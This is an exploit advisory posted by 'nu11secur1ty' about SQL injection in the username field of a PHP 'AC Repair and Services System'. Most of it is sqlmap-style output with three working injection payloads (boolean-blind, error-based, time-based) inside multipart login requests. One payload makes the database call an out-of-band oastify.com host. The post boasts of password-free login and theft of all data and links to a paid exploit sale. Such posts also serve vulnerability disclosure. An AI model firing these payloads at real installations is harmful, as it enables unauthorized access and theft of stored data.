# Titles: AC Repair and Services System - ARSS-1.0-Copyright©2025-Multiple-SQLi
# Author: nu11secur1ty
# Date: 04/05/2025
# Vendor: https://github.com/oretnom23
# Software: https://www.sourcecodester.com/php/16513/ac-repair-and-services-system-using-php-and-mysql-source-code-free-download.html
# Reference: https://portswigger.net/web-security/sql-injection
## Description:
The `username` parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+' was submitted in the username parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all sensitive information from this system when he attacks it online, He can login super easily WITHOUT PASSWORD - ONLY USER - bypassing, and can crash or get every sensitive information from him!
STATUS: HIGH-CRITICAL Vulnerability
[+]Exploit:
- SQLi:
```SQLi
---
Parameter: MULTIPART username ((custom) POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: ------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="firstname"
admin
------Web
...[SNIP]...
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="lastname"
admin
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="username"
admin'+(select load_file('\\\\dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+'' RLIKE (SELECT (CASE WHEN (8762=8762) THEN '' ELSE 0x28 END)) AND 'HELG'='HELG
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="password"
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="img"; filename=""
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: ------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="firstname"
admin
------Web
...[SNIP]...
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="lastname"
admin
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="username"
admin'+(select load_file('\\\\dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+'' AND (SELECT 1352 FROM(SELECT COUNT(*),CONCAT(0x71706a6271,(SELECT (ELT(1352=1352,1))),0x7162707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vSKR'='vSKR
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="password"
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="img"; filename=""
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: ------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="id"
1
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="firstname"
admin
------Web
...[SNIP]...
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="lastname"
admin
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="username"
admin'+(select load_file('\\\\dyfx0wnlncvnwnm9ft5rqk60crip6l69xcl48ywn.oastify.com\\puv'))+'' AND (SELECT 9570 FROM (SELECT(SLEEP(7)))xrht) AND 'Serq'='Serq
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="password"
------WebKitFormBoundary66yhBXoK0ntvP31K
Content-Disposition: form-data; name="img"; filename=""
---
```
# Reproduce:
[href](https://www.patreon.com/posts/ac-repair-and-1-126001786)
# Buy an exploit only:
[href](https://satoshidisk.com/pay/CO6qme)
# Time spent:
03:15:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>